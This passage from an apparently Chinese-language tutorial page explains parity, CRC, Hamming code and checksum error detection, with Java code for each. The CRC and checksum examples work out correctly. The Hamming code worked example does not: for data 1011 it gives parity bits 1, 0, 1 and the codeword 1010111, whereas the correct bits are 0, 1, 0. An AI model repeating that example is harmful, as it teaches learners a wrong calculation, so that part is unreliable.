evenParity);</span><br><span class="line"></span><br><span class="line">        <span class="comment">// 添加校验位到数据末尾（奇校验）</span></span><br><span class="line">        <span class="type">int</span>[] dataWithOddParity = <span class="keyword">new</span> <span class="title class_">int</span>[data.length + <span class="number">1</span>];</span><br><span class="line">        System.arraycopy(data, <span class="number">0</span>, dataWithOddParity, <span class="number">0</span>, data.length);</span><br><span class="line">        dataWithOddParity[data.length] = oddParity;</span><br><span class="line"></span><br><span class="line">        <span class="comment">// 添加校验位到数据末尾（偶校验）</span></span><br><span class="line">        <span class="type">int</span>[] dataWithEvenParity = <span class="keyword">new</span> <span class="title class_">int</span>[data.length + <span class="number">1</span>];</span><br><span class="line">        System.arraycopy(data, <span class="number">0</span>, dataWithEvenParity, <span class="number">0</span>, data.length);</span><br><span class="line">        dataWithEvenParity[data.length] = evenParity;</span><br><span class="line"></span><br><span class="line">        <span class="comment">// 验证奇校验</span></span><br><span class="line">        <span class="type">boolean</span> <span class="variable">isOddParityValid</span> <span class="operator">=</span> verifyOddParity(dataWithOddParity);</span><br><span class="line">        System.out.println(<span class="string">&quot;奇校验结果: &quot;</span> + (isOddParityValid ? <span class="string">&quot;有效&quot;</span> : <span class="string">&quot;无效&quot;</span>));</span><br><span class="line"></span><br><span class="line">        <span class="comment">// 验证偶校验</span></span><br><span class="line">        <span class="type">boolean</span> <span class="variable">isEvenParityValid</span> <span class="operator">=</span> verifyEvenParity(dataWithEvenParity);</span><br><span class="line">        System.out.println(<span class="string">&quot;偶校验结果: &quot;</span> + (isEvenParityValid ? <span class="string">&quot;有效&quot;</span> : <span class="string">&quot;无效&quot;</span>));</span><br><span class="line">    &#125;</span><br><span class="line">&#125;</span><br><span class="line"></span><br></pre></td></tr></table></figure><h2 id="CRC校验（Cyclic-Redundancy-Check）">CRC校验（Cyclic Redundancy Check）</h2><h3 id="原理：-2">原理：</h3><p>CRC校验是一种更复杂的错误检测方法，通过将数据视为一个大多项式，然后对这个多项式进行模一个预定的生成多项式的除法操作，得到一个余数（CRC校验码）。这个余数被附加到数据末尾进行传输。</p><ul><li>能检测多比特错误，通常用于数据链路层协议。</li><li>计算复杂度较高，但错误检测能力强。</li></ul><h3 id="示例：-2">示例：</h3><p>假设数据包为<code>1101011011</code>，生成多项式为<code>1011</code>（对应于<code>x^3 + x + 1</code>）。</p><ol><li>将数据末尾加上生成多项式的位数-1个0，即<code>1101011011000</code>。</li><li>用生成多项式<code>1011</code>对上述数据进行二进制除法，得到余数<code>100</code>。</li><li>余数作为校验码附加到数据末尾，即数据包变为<code>1101011011100</code>。<br>接收方进行相同的除法操作，如果余数为0，则表示数据没有错误。</li></ol><h3 id="应用场景：-2">应用场景：</h3><ul><li><strong>网络通信</strong>：广泛应用于网络层和数据链路层协议（如以太网、PPP、HDLC等）来检测传输数据中的错误。</li><li><strong>存储设备</strong>：如硬盘、光盘等，用于数据块的错误检测。</li><li><strong>无线通信</strong>：用于无线传输协议，保证数据完整性。</li></ul><h3 id="java代码实现">java代码实现</h3><h4 id="CRC-32">CRC-32</h4><figure class="highlight plaintext"><table><tr><td class="gutter"><pre><span class="line">1</span><br><span class="line">2</span><br><span class="line">3</span><br><span class="line">4</span><br><span class="line">5</span><br><span class="line">6</span><br><span class="line">7</span><br><span class="line">8</span><br><span class="line">9</span><br><span class="line">10</span><br><span class="line">11</span><br><span class="line">12</span><br><span class="line">13</span><br><span class="line">14</span><br><span class="line">15</span><br><span class="line">16</span><br><span class="line">17</span><br><span class="line">18</span><br><span class="line">19</span><br><span class="line">20</span><br><span class="line">21</span><br><span class="line">22</span><br><span class="line">23</span><br><span class="line">24</span><br><span class="line">25</span><br><span class="line">26</span><br><span class="line">27</span><br><span class="line">28</span><br><span class="line">29</span><br><span class="line">30</span><br><span class="line">31</span><br><span class="line">32</span><br><span class="line">33</span><br><span class="line">34</span><br><span class="line">35</span><br></pre></td><td class="code"><pre><span class="line">import java.util.zip.CRC32;</span><br><span class="line"></span><br><span class="line">public class CRCCheck &#123;</span><br><span class="line"></span><br><span class="line">    // 方法：计算CRC32校验码</span><br><span class="line">    public static long calculateCRC32(byte[] data) &#123;</span><br><span class="line">        CRC32 crc32 = new CRC32();</span><br><span class="line">        crc32.update(data);</span><br><span class="line">        return crc32.getValue();</span><br><span class="line">    &#125;</span><br><span class="line"></span><br><span class="line">    // 方法：验证CRC32校验码</span><br><span class="line">    public static boolean verifyCRC32(byte[] data, long expectedCRC) &#123;</span><br><span class="line">        long calculatedCRC = calculateCRC32(data);</span><br><span class="line">        return calculatedCRC == expectedCRC;</span><br><span class="line">    &#125;</span><br><span class="line"></span><br><span class="line">    public static void main(String[] args) &#123;</span><br><span class="line">        String input = &quot;Hello, world!&quot;; // 示例输入数据</span><br><span class="line">        byte[] data = input.getBytes();</span><br><span class="line"></span><br><span class="line">        // 计算CRC32校验码</span><br><span class="line">        long crcValue = calculateCRC32(data);</span><br><span class="line">        System.out.println(&quot;CRC32校验码: &quot; + Long.toHexString(crcValue));</span><br><span class="line"></span><br><span class="line">        // 验证CRC32校验码</span><br><span class="line">        boolean isValid = verifyCRC32(data, crcValue);</span><br><span class="line">        System.out.println(&quot;CRC32校验结果: &quot; + (isValid ? &quot;有效&quot; : &quot;无效&quot;));</span><br><span class="line"></span><br><span class="line">        // 修改数据后验证CRC32</span><br><span class="line">        data[0] = &#x27;h&#x27;; // 修改数据的第一个字节</span><br><span class="line">        isValid = verifyCRC32(data, crcValue);</span><br><span class="line">        System.out.println(&quot;修改后CRC32校验结果: &quot; + (isValid ? &quot;有效&quot; : &quot;无效&quot;));</span><br><span class="line">    &#125;</span><br><span class="line">&#125;</span><br></pre></td></tr></table></figure><h4 id="CRC-8（对应于x-8-x-2-x-1）">CRC-8（对应于<code>x^8 + x^2 + x + 1</code>）</h4><figure class="highlight java"><table><tr><td class="gutter"><pre><span class="line">1</span><br><span class="line">2</span><br><span class="line">3</span><br><span class="line">4</span><br><span class="line">5</span><br><span class="line">6</span><br><span class="line">7</span><br><span class="line">8</span><br><span class="line">9</span><br><span class="line">10</span><br><span class="line">11</span><br><span class="line">12</span><br><span class="line">13</span><br><span class="line">14</span><br><span class="line">15</span><br><span class="line">16</span><br><span class="line">17</span><br><span class="line">18</span><br><span class="line">19</span><br><span class="line">20</span><br><span class="line">21</span><br><span class="line">22</span><br><span class="line">23</span><br><span class="line">24</span><br><span class="line">25</span><br><span class="line">26</span><br><span class="line">27</span><br><span class="line">28</span><br><span class="line">29</span><br><span class="line">30</span><br><span class="line">31</span><br><span class="line">32</span><br><span class="line">33</span><br><span class="line">34</span><br><span class="line">35</span><br><span class="line">36</span><br><span class="line">37</span><br><span class="line">38</span><br><span class="line">39</span><br><span class="line">40</span><br><span class="line">41</span><br><span class="line">42</span><br><span class="line">43</span><br><span class="line">44</span><br><span class="line">45</span><br><span class="line">46</span><br><span class="line">47</span><br><span class="line">48</span><br><span class="line">49</span><br><span class="line">50</span><br></pre></td><td class="code"><pre><span class="line"><span class="keyword">public</span> <span class="keyword">class</span> <span class="title class_">CRC8</span> &#123;</span><br><span class="line"></span><br><span class="line">    <span class="comment">// CRC-8 多项式 (x^8 + x^2 + x + 1)</span></span><br><span class="line">    <span class="keyword">private</span> <span class="keyword">static</span> <span class="keyword">final</span> <span class="type">int</span> <span class="variable">POLYNOMIAL</span> <span class="operator">=</span> <span class="number">0x07</span>;</span><br><span class="line">    <span class="comment">// 初始化值</span></span><br><span class="line">    <span class="keyword">private</span> <span class="keyword">static</span> <span class="keyword">final</span> <span class="type">int</span> <span class="variable">INITIAL_VALUE</span> <span class="operator">=</span> <span class="number">0x00</span>;</span><br><span class="line"></span><br><span class="line">    <span class="comment">// 方法：计算CRC-8校验码</span></span><br><span class="line">    <span class="keyword">public</span> <span class="keyword">static</span> <span class="type">int</span> <span class="title function_">calculateCRC8</span><span class="params">(<span class="type">byte</span>[] data)</span> &#123;</span><br><span class="line">        <span class="type">int</span> <span class="variable">crc</span> <span class="operator">=</span> INITIAL_VALUE;</span><br><span class="line"></span><br><span class="line">        <span class="keyword">for</span> (<span class="type">byte</span> b : data) &#123;</span><br><span class="line">            crc ^= b; <span class="comment">// 异或操作</span></span><br><span class="line"></span><br><span class="line">            <span class="keyword">for</span> (<span class="type">int</span> <span class="variable">i</span> <span class="operator">=</span> <span class="number">0</span>; i &lt; <span class="number">8</span>; i++) &#123;</span><br><span class="line">                <span class="keyword">if</span> ((crc &amp; <span class="number">0x80</span>) != <span class="number">0</span>) &#123;</span><br><span class="line">                    crc = (crc &lt;&lt; <span class="number">1</span>) ^ POLYNOMIAL;</span><br><span class="line">                &#125; <span class="keyword">else</span> &#123;</span><br><span class="line">                    crc &lt;&lt;= <span class="number">1</span>;</span><br><span class="line">                &#125;</span><br><span class="line">            &#125;</span><br><span class="line">        &#125;</span><br><span class="line"></span><br><span class="line">        <span class="keyword">return</span> crc &amp; <span class="number">0xFF</span>; <span class="comment">// 取低8位作为CRC-8校验码</span></span><br><span class="line">    &#125;</span><br><span class="line"></span><br><span class="line">    <span class="comment">// 方法：验证CRC-8校验码</span></span><br><span class="line">    <span class="keyword">public</span> <span class="keyword">static</span> <span class="type">boolean</span> <span class="title function_">verifyCRC8</span><span class="params">(<span class="type">byte</span>[] data, <span class="type">int</span> expectedCRC)</span> &#123;</span><br><span class="line">        <span class="type">int</span> <span class="variable">calculatedCRC</span> <span class="operator">=</span> calculateCRC8(data);</span><br><span class="line">        <span class="keyword">return</span> calculatedCRC == expectedCRC;</span><br><span class="line">    &#125;</span><br><span class="line"></span><br><span class="line">    <span class="keyword">public</span> <span class="keyword">static</span> <span class="keyword">void</span> <span class="title function_">main</span><span class="params">(String[] args)</span> &#123;</span><br><span class="line">        <span class="type">String</span> <span class="variable">input</span> <span class="operator">=</span> <span class="string">&quot;Hello, CRC-8!&quot;</span>; <span class="comment">// 示例输入数据</span></span><br><span class="line">        <span class="type">byte</span>[] data = input.getBytes();</span><br><span class="line"></span><br><span class="line">        <span class="comment">// 计算CRC-8校验码</span></span><br><span class="line">        <span class="type">int</span> <span class="variable">crcValue</span> <span class="operator">=</span> calculateCRC8(data);</span><br><span class="line">        System.out.println(<span class="string">&quot;CRC-8校验码: &quot;</span> + Integer.toHexString(crcValue));</span><br><span class="line"></span><br><span class="line">        <span class="comment">// 验证CRC-8校验码</span></span><br><span class="line">        <span class="type">boolean</span> <span class="variable">isValid</span> <span class="operator">=</span> verifyCRC8(data, crcValue);</span><br><span class="line">        System.out.println(<span class="string">&quot;CRC-8校验结果: &quot;</span> + (isValid ? <span class="string">&quot;有效&quot;</span> : <span class="string">&quot;无效&quot;</span>));</span><br><span class="line"></span><br><span class="line">        <span class="comment">// 修改数据后验证CRC-8</span></span><br><span class="line">        data[<span class="number">0</span>] = <span class="string">&#x27;h&#x27;</span>; <span class="comment">// 修改数据的第一个字节</span></span><br><span class="line">        isValid = verifyCRC8(data, crcValue);</span><br><span class="line">        System.out.println(<span class="string">&quot;修改后CRC-8校验结果: &quot;</span> + (isValid ? <span class="string">&quot;有效&quot;</span> : <span class="string">&quot;无效&quot;</span>));</span><br><span class="line">    &#125;</span><br><span class="line">&#125;</span><br></pre></td></tr></table></figure><h4 id="CRC-16（对应于x-16-x-12-x-5-1）">CRC-16（对应于<code>x^16 + x^12 + x^5 + 1</code>）</h4><figure class="highlight java"><table><tr><td class="gutter"><pre><span class="line">1</span><br><span class="line">2</span><br><span class="line">3</span><br><span class="line">4</span><br><span class="line">5</span><br><span class="line">6</span><br><span class="line">7</span><br><span class="line">8</span><br><span class="line">9</span><br><span class="line">10</span><br><span class="line">11</span><br><span class="line">12</span><br><span class="line">13</span><br><span class="line">14</span><br><span class="line">15</span><br><span class="line">16</span><br><span class="line">17</span><br><span class="line">18</span><br><span class="line">19</span><br><span class="line">20</span><br><span class="line">21</span><br><span class="line">22</span><br><span class="line">23</span><br><span class="line">24</span><br><span class="line">25</span><br><span class="line">26</span><br><span class="line">27</span><br><span class="line">28</span><br><span class="line">29</span><br><span class="line">30</span><br><span class="line">31</span><br><span class="line">32</span><br><span class="line">33</span><br><span class="line">34</span><br><span class="line">35</span><br><span class="line">36</span><br><span class="line">37</span><br><span class="line">38</span><br><span class="line">39</span><br><span class="line">40</span><br><span class="line">41</span><br><span class="line">42</span><br><span class="line">43</span><br><span class="line">44</span><br><span class="line">45</span><br><span class="line">46</span><br><span class="line">47</span><br><span class="line">48</span><br><span class="line">49</span><br><span class="line">50</span><br><span class="line">51</span><br></pre></td><td class="code"><pre><span class="line"><span class="keyword">public</span> <span class="keyword">class</span> <span class="title class_">CRC16</span> &#123;</span><br><span class="line"></span><br><span class="line">    <span class="comment">// CRC-16-CCITT 多项式 (x^16 + x^12 + x^5 + 1)</span></span><br><span class="line">    <span class="keyword">private</span> <span class="keyword">static</span> <span class="keyword">final</span> <span class="type">int</span> <span class="variable">POLYNOMIAL</span> <span class="operator">=</span> <span class="number">0x1021</span>;</span><br><span class="line">    <span class="comment">// 初始化值</span></span><br><span class="line">    <span class="keyword">private</span> <span class="keyword">static</span> <span class="keyword">final</span> <span class="type">int</span> <span class="variable">INITIAL_VALUE</span> <span class="operator">=</span> <span class="number">0xFFFF</span>;</span><br><span class="line"></span><br><span class="line">    <span class="comment">// 方法：计算CRC-16校验码</span></span><br><span class="line">    <span class="keyword">public</span> <span class="keyword">static</span> <span class="type">int</span> <span class="title function_">calculateCRC16</span><span class="params">(<span class="type">byte</span>[] data)</span> &#123;</span><br><span class="line">        <span class="type">int</span> <span class="variable">crc</span> <span class="operator">=</span> INITIAL_VALUE;</span><br><span class="line"></span><br><span class="line">        <span class="keyword">for</span> (<span class="type">byte</span> b : data) &#123;</span><br><span class="line">            crc ^= (b &lt;&lt; <span class="number">8</span>); <span class="comment">// 将当前字节移位到高8位</span></span><br><span class="line"></span><br><span class="line">            <span class="keyword">for</span> (<span class="type">int</span> <span class="variable">i</span> <span class="operator">=</span> <span class="number">0</span>; i &lt; <span class="number">8</span>; i++) &#123;</span><br><span class="line">                <span class="keyword">if</span> ((crc &amp; <span class="number">0x8000</span>) != <span class="number">0</span>) &#123;</span><br><span class="line">                    crc = (crc &lt;&lt; <span class="number">1</span>) ^ POLYNOMIAL;</span><br><span class="line">                &#125; <span class="keyword">else</span> &#123;</span><br><span class="line">                    crc &lt;&lt;= <span class="number">1</span>;</span><br><span class="line">                &#125;</span><br><span class="line">            &#125;</span><br><span class="line">        &#125;</span><br><span class="line"></span><br><span class="line">        <span class="keyword">return</span> crc &amp; <span class="number">0xFFFF</span>; <span class="comment">// 取低16位作为CRC-16校验码</span></span><br><span class="line">    &#125;</span><br><span class="line"></span><br><span class="line">    <span class="comment">// 方法：验证CRC-16校验码</span></span><br><span class="line">    <span class="keyword">public</span> <span class="keyword">static</span> <span class="type">boolean</span> <span class="title function_">verifyCRC16</span><span class="params">(<span class="type">byte</span>[] data, <span class="type">int</span> expectedCRC)</span> &#123;</span><br><span class="line">        <span class="type">int</span> <span class="variable">calculatedCRC</span> <span class="operator">=</span> calculateCRC16(data);</span><br><span class="line">        <span class="keyword">return</span> calculatedCRC == expectedCRC;</span><br><span class="line">    &#125;</span><br><span class="line"></span><br><span class="line">    <span class="keyword">public</span> <span class="keyword">static</span> <span class="keyword">void</span> <span class="title function_">main</span><span class="params">(String[] args)</span> &#123;</span><br><span class="line">        <span class="type">String</span> <span class="variable">input</span> <span class="operator">=</span> <span class="string">&quot;Hello, CRC-16!&quot;</span>; <span class="comment">// 示例输入数据</span></span><br><span class="line">        <span class="type">byte</span>[] data = input.getBytes();</span><br><span class="line"></span><br><span class="line">        <span class="comment">// 计算CRC-16校验码</span></span><br><span class="line">        <span class="type">int</span> <span class="variable">crcValue</span> <span class="operator">=</span> calculateCRC16(data);</span><br><span class="line">        System.out.println(<span class="string">&quot;CRC-16校验码: &quot;</span> + Integer.toHexString(crcValue));</span><br><span class="line"></span><br><span class="line">        <span class="comment">// 验证CRC-16校验码</span></span><br><span class="line">        <span class="type">boolean</span> <span class="variable">isValid</span> <span class="operator">=</span> verifyCRC16(data, crcValue);</span><br><span class="line">        System.out.println(<span class="string">&quot;CRC-16校验结果: &quot;</span> + (isValid ? <span class="string">&quot;有效&quot;</span> : <span class="string">&quot;无效&quot;</span>));</span><br><span class="line"></span><br><span class="line">        <span class="comment">// 修改数据后验证CRC-16</span></span><br><span class="line">        data[<span class="number">0</span>] = <span class="string">&#x27;h&#x27;</span>; <span class="comment">// 修改数据的第一个字节</span></span><br><span class="line">        isValid = verifyCRC16(data, crcValue);</span><br><span class="line">        System.out.println(<span class="string">&quot;修改后CRC-16校验结果: &quot;</span> + (isValid ? <span class="string">&quot;有效&quot;</span> : <span class="string">&quot;无效&quot;</span>));</span><br><span class="line">    &#125;</span><br><span class="line">&#125;</span><br><span class="line"></span><br></pre></td></tr></table></figure><h2 id="海明码校验（Hamming-Code）">海明码校验（Hamming Code）</h2><h3 id="原理：-3">原理：</h3><p>海明码不仅能检测错误，还能纠正单比特错误。它通过在数据中插入多个校验位来实现。这些校验位的位置根据2的幂指数确定，并且每个校验位检查特定位置的位的组合。</p><ul><li>能检测和纠正单比特错误，部分情况还能检测多比特错误。</li><li>适用于需要高可靠性的内存和存储系统。</li></ul><h3 id="示例：-3">示例：</h3><p>假设数据包为<code>1011</code>。</p><ol><li>确定需要插入的校验位位置。对于4位数据，需要3个校验位，位置为1, 2, 4。</li><li>在原数据中插入校验位，初步数据包变为<code>_ _ 1 _ 0 1 1</code>。</li><li>计算校验位的值：<ul><li>第1位校验位计算位置1, 3, 5, 7的位，得到<code>1</code>。</li><li>第2位校验位计算位置2, 3, 6, 7的位，得到<code>0</code>。</li><li>第4位校验位计算位置4, 5, 6, 7的位，得到<code>1</code>。</li></ul></li><li>最终数据包变为<code>1010111</code>。<br>在接收时，如果发现校验位不一致，可以通过校验位的位置组合确定并纠正错误位。</li></ol><h3 id="应用场景：-3">应用场景：</h3><ul><li><strong>内存错误检测和纠正</strong>：用于ECC（错误检测和纠正）内存，确保计算机内存中的数据完整性。</li><li><strong>计算机网络</strong>：用于简单的数据链路层协议，确保数据包的完整性。</li><li><strong>嵌入式系统</strong>：用于对可靠性要求较高的嵌入式系统中，检测和纠正单比特错误。</li></ul><h3 id="java代码实现-2">java代码实现</h3><figure class="highlight java"><table><tr><td class="gutter"><pre><span class="line">1</span><br><span class="line">2</span><br><span class="line">3</span><br><span class="line">4</span><br><span class="line">5</span><br><span class="line">6</span><br><span class="line">7</span><br><span class="line">8</span><br><span class="line">9</span><br><span class="line">10</span><br><span class="line">11</span><br><span class="line">12</span><br><span class="line">13</span><br><span class="line">14</span><br><span class="line">15</span><br><span class="line">16</span><br><span class="line">17</span><br><span class="line">18</span><br><span class="line">19</span><br><span class="line">20</span><br><span class="line">21</span><br><span class="line">22</span><br><span class="line">23</span><br><span class="line">24</span><br><span class="line">25</span><br><span class="line">26</span><br><span class="line">27</span><br><span class="line">28</span><br><span class="line">29</span><br><span class="line">30</span><br><span class="line">31</span><br><span class="line">32</span><br><span class="line">33</span><br><span class="line">34</span><br><span class="line">35</span><br><span class="line">36</span><br><span class="line">37</span><br><span class="line">38</span><br><span class="line">39</span><br><span class="line">40</span><br><span class="line">41</span><br><span class="line">42</span><br><span class="line">43</span><br><span class="line">44</span><br><span class="line">45</span><br><span class="line">46</span><br><span class="line">47</span><br><span class="line">48</span><br><span class="line">49</span><br><span class="line">50</span><br><span class="line">51</span><br><span class="line">52</span><br><span class="line">53</span><br><span class="line">54</span><br><span class="line">55</span><br><span class="line">56</span><br><span class="line">57</span><br><span class="line">58</span><br><span class="line">59</span><br><span class="line">60</span><br><span class="line">61</span><br><span class="line">62</span><br><span class="line">63</span><br><span class="line">64</span><br><span class="line">65</span><br><span class="line">66</span><br><span class="line">67</span><br><span class="line">68</span><br><span class="line">69</span><br><span class="line">70</span><br><span class="line">71</span><br><span class="line">72</span><br><span class="line">73</span><br><span class="line">74</span><br><span class="line">75</span><br><span class="line">76</span><br><span class="line">77</span><br><span class="line">78</span><br><span class="line">79</span><br><span class="line">80</span><br><span class="line">81</span><br><span class="line">82</span><br><span class="line">83</span><br><span class="line">84</span><br><span class="line">85</span><br><span class="line">86</span><br><span class="line">87</span><br><span class="line">88</span><br><span class="line">89</span><br><span class="line">90</span><br><span class="line">91</span><br><span class="line">92</span><br><span class="line">93</span><br><span class="line">94</span><br><span class="line">95</span><br><span class="line">96</span><br><span class="line">97</span><br><span class="line">98</span><br><span class="line">99</span><br><span class="line">100</span><br><span class="line">101</span><br><span class="line">102</span><br><span class="line">103</span><br><span class="line">104</span><br></pre></td><td class="code"><pre><span class="line"><span class="keyword">import</span> java.util.ArrayList;</span><br><span class="line"></span><br><span class="line"><span class="keyword">public</span> <span class="keyword">class</span> <span class="title class_">HammingCode</span> &#123;</span><br><span class="line"></span><br><span class="line">    <span class="comment">// 方法：计算和插入校验位</span></span><br><span class="line">    <span class="keyword">public</span> <span class="keyword">static</span> <span class="type">int</span>[] generateHammingCode(<span class="type">int</span>[] data) &#123;</span><br><span class="line">        <span class="type">int</span> <span class="variable">r</span> <span class="operator">=</span> <span class="number">0</span>; <span class="comment">// 校验位数量</span></span><br><span class="line">        <span class="type">int</span> <span class="variable">m</span> <span class="operator">=</span> data.length; <span class="comment">// 数据位数量</span></span><br><span class="line"></span><br><span class="line">        <span class="comment">// 计算需要的校验位数量 r</span></span><br><span class="line">        <span class="keyword">while</span> (Math.pow(<span class="number">2</span>, r) &lt; (m + r + <span class="number">1</span>)) &#123;</span><br><span class="line">            r++;</span><br><span class="line">        &#125;</span><br><span class="line"></span><br><span class="line">        <span class="type">int</span>[] hammingCode = <span class="keyword">new</span> <span class="title class_">int</span>[m + r];</span><br><span class="line">        <span class="type">int</span> <span class="variable">j</span> <span class="operator">=</span> <span class="number">0</span>;</span><br><span class="line"></span><br><span class="line">        <span class="comment">// 插入校验位位置</span></span><br><span class="line">        <span class="keyword">for</span> (<span class="type">int</span> <span class="variable">i</span> <span class="operator">=</span> <span class="number">0</span>; i &lt; hammingCode.length; i++) &#123;</span><br><span class="line">            <span class="keyword">if</span> (Math.pow(<span class="number">2</span>, j) - <span class="number">1</span> == i) &#123;</span><br><span class="line">                hammingCode[i] = <span class="number">0</span>; <span class="comment">// 暂时填0</span></span><br><span class="line">                j++;</span><br><span class="line">            &#125; <span class="keyword">else</span> &#123;</span><br><span class="line">                hammingCode[i] = data[i - j];</span><br><span class="line">            &#125;</span><br><span class="line">        &#125;</span><br><span class="line"></span><br><span class="line">        <span class="comment">// 计算校验位的值</span></span><br><span class="line">        <span class="keyword">for</span> (<span class="type">int</span> <span class="variable">i</span> <span class="operator">=</span> <span class="number">0</span>; i &lt; r; i++) &#123;</span><br><span class="line">            <span class="type">int</span> <span class="variable">position</span> <span class="operator">=</span> (<span class="type">int</span>) Math.pow(<span class="number">2</span>, i);</span><br><span class="line">            <span class="type">int</span> <span class="variable">value</span> <span class="operator">=</span> <span class="number">0</span>;</span><br><span class="line"></span><br><span class="line">            <span class="keyword">for</span> (<span class="type">int</span> <span class="variable">k</span> <span class="operator">=</span> position - <span class="number">1</span>; k &lt; hammingCode.length; k += <span class="number">2</span> * position) &#123;</span><br><span class="line">                <span class="keyword">for</span> (<span class="type">int</span> <span class="variable">l</span> <span class="operator">=</span> k; l &lt; k + position &amp;&amp; l &lt; hammingCode.length; l++) &#123;</span><br><span class="line">                    value ^= hammingCode[l];</span><br><span class="line">                &#125;</span><br><span class="line">            &#125;</span><br><span class="line">            hammingCode[position - <span class="number">1</span>] = value;</span><br><span class="line">        &#125;</span><br><span class="line"></span><br><span class="line">        <span class="keyword">return</span> hammingCode;</span><br><span class="line">    &#125;</span><br><span class="line"></span><br><span class="line">    <span class="comment">// 方法：验证海明码</span></span><br><span class="line">    <span class="keyword">public</span> <span class="keyword">static</span> <span class="type">int</span> <span class="title function_">verifyHammingCode</span><span class="params">(<span class="type">int</span>[] hammingCode)</span> &#123;</span><br><span class="line">        <span class="type">int</span> <span class="variable">r</span> <span class="operator">=</span> <span class="number">0</span>;</span><br><span class="line"></span><br><span class="line">        <span class="comment">// 计算校验位数量 r</span></span><br><span class="line">        <span class="keyword">while</span> (Math.pow(<span class="number">2</span>, r) &lt; (hammingCode.length + <span class="number">1</span>)) &#123;</span><br><span class="line">            r++;</span><br><span class="line">        &#125;</span><br><span class="line"></span><br><span class="line">        <span class="type">int</span> <span class="variable">errorPosition</span> <span class="operator">=</span> <span class="number">0</span>;</span><br><span class="line"></span><br><span class="line">        <span class="comment">// 计算校验位并找出错误位置</span></span><br><span class="line">        <span class="keyword">for</span> (<span class="type">int</span> <span class="variable">i</span> <span class="operator">=</span> <span class="number">0</span>; i &lt; r; i++) &#123;</span><br><span class="line">            <span class="type">int</span> <span class="variable">position</span> <span class="operator">=</span> (<span class="type">int</span>) Math.pow(<span class="number">2</span>, i);</span><br><span class="line">            <span class="type">int</span> <span class="variable">value</span> <span class="operator">=</span> <span class="number">0</span>;</span><br><span class="line"></span><br><span class="line">            <span class="keyword">for</span> (<span class="type">int</span> <span class="variable">k</span> <span class="operator">=</span> position - <span class="number">1</span>; k &lt; hammingCode.length; k += <span class="number">2</span> * position) &#123;</span><br><span class="line">                <span class="keyword">for</span> (<span class="type">int</span> <span class="variable">l</span> <span class="operator">=</span> k; l &lt; k + position &amp;&amp; l &lt; hammingCode.length; l++) &#123;</span><br><span class="line">                    value ^= hammingCode[l];</span><br><span class="line">                &#125;</span><br><span class="line">            &#125;</span><br><span class="line">            <span class="keyword">if</span> (value != <span class="number">0</span>) &#123;</span><br><span class="line">                errorPosition += position;</span><br><span class="line">            &#125;</span><br><span class="line">        &#125;</span><br><span class="line"></span><br><span class="line">        <span class="keyword">return</span> errorPosition;</span><br><span class="line">    &#125;</span><br><span class="line"></span><br><span class="line">    <span class="keyword">public</span> <span class="keyword">static</span> <span class="keyword">void</span> <span class="title function_">main</span><span class="params">(String[] args)</span> &#123;</span><br><span class="line">        <span class="type">int</span>[] data = &#123;<span class="number">1</span>, <span class="number">0</span>, <span class="number">1</span>, <span class="number">1</span>&#125;; <span class="comment">// 示例数据</span></span><br><span class="line"></span><br><span class="line">        <span class="comment">// 生成海明码</span></span><br><span class="line">        <span class="type">int</span>[] hammingCode = generateHammingCode(data);</span><br><span class="line">        System.out.print(<span class="string">&quot;生成的海明码: &quot;</span>);</span><br><span class="line">        <span class="keyword">for</span> (<span class="type">int</span> bit : hammingCode) &#123;</span><br><span class="line">            System.out.print(bit);</span><br><span class="line">        &#125;</span><br><span class="line">        System.out.println();</span><br><span class="line"></span><br><span class="line">        <span class="comment">// 验证海明码</span></span><br><span class="line">        <span class="type">int</span> <span class="variable">errorPosition</span> <span class="operator">=</span> verifyHammingCode(hammingCode);</span><br><span class="line">        System.out.println(<span class="string">&quot;海明码校验结果: &quot;</span> + (errorPosition == <span class="number">0</span> ? <span class="string">&quot;无错误&quot;</span> : <span class="string">&quot;错误位置：&quot;</span> + errorPosition));</span><br><span class="line"></span><br><span class="line">        <span class="comment">// 模拟一个错误</span></span><br><span class="line">        hammingCode[<span class="number">2</span>] ^= <span class="number">1</span>;</span><br><span class="line">        errorPosition = verifyHammingCode(hammingCode);</span><br><span class="line">        System.out.println(<span class="string">&quot;修改后海明码校验结果: &quot;</span> + (errorPosition == <span class="number">0</span> ? <span class="string">&quot;无错误&quot;</span> : <span class="string">&quot;错误位置：&quot;</span> + errorPosition));</span><br><span class="line"></span><br><span class="line">        <span class="comment">// 修正错误</span></span><br><span class="line">        <span class="keyword">if</span> (errorPosition != <span class="number">0</span>) &#123;</span><br><span class="line">            hammingCode[errorPosition - <span class="number">1</span>] ^= <span class="number">1</span>;</span><br><span class="line">            System.out.print(<span class="string">&quot;修正后的海明码: &quot;</span>);</span><br><span class="line">            <span class="keyword">for</span> (<span class="type">int</span> bit : hammingCode) &#123;</span><br><span class="line">                System.out.print(bit);</span><br><span class="line">            &#125;</span><br><span class="line">            System.out.println();</span><br><span class="line">        &#125;</span><br><span class="line">    &#125;</span><br><span class="line">&#125;</span><br><span class="line"></span><br></pre></td></tr></table></figure><h2 id="校验和（Checksum）">校验和（Checksum）</h2><h3 id="原理：-4">原理：</h3><p>校验和是一种简单的错误检测方法，通过将数据分块后对每块数据进行求和操作，最后将和值附加到数据末尾进行传输。接收方重新计算和值，如果与接收到的和值一致，则表示数据没有错误。</p><h3 id="示例：-4">示例：</h3><p>假设数据包为<code>1010001</code>和<code>1100101</code>（两块数据）。</p><ol><li>每块数据转为十进制：<code>1010001</code>为<code>81</code>，<code>1100101</code>为<code>101</code>。</li><li>求和：<code>81 + 101 = 182</code>。</li><li>将和值转为二进制：<code>182</code>为<code>10110110</code>。</li><li>将和值附加到数据包末尾进行传输。<br>接收方对接收的数据重新计算和值，若一致，则数据无误。</li></ol><h3 id="应用场景：-4">应用场景：</h3><ul><li><strong>互联网协议</strong>：如TCP/IP中的IPv4头部校验和、UDP校验和、TCP校验和，用于确保数据包头部和负载的完整性。</li><li><strong>文件传输</strong>：在文件传输协议（如FTP）中，用于验证文件的完整性。</li><li><strong>嵌入式系统</strong>：用于嵌入式设备的固件校验，确保代码和数据的正确性。</li></ul><h3 id="java代码实现-3">java代码实现</h3><ol><li>计算数据的校验和。</li><li>将校验和附加到数据的末尾进行传输。</li><li>接收方计算接收到的数据的校验和，并与传输的校验和进行比较，以验证数据完整性。</li></ol><figure class="highlight java"><table><tr><td class="gutter"><pre><span class="line">1</span><br><span class="line">2</span><br><span class="line">3</span><br><span class="line">4</span><br><span class="line">5</span><br><span class="line">6</span><br><span class="line">7</span><br><span class="line">8</span><br><span class="line">9</span><br><span class="line">10</span><br><span class="line">11</span><br><span class="line">12</span><br><span 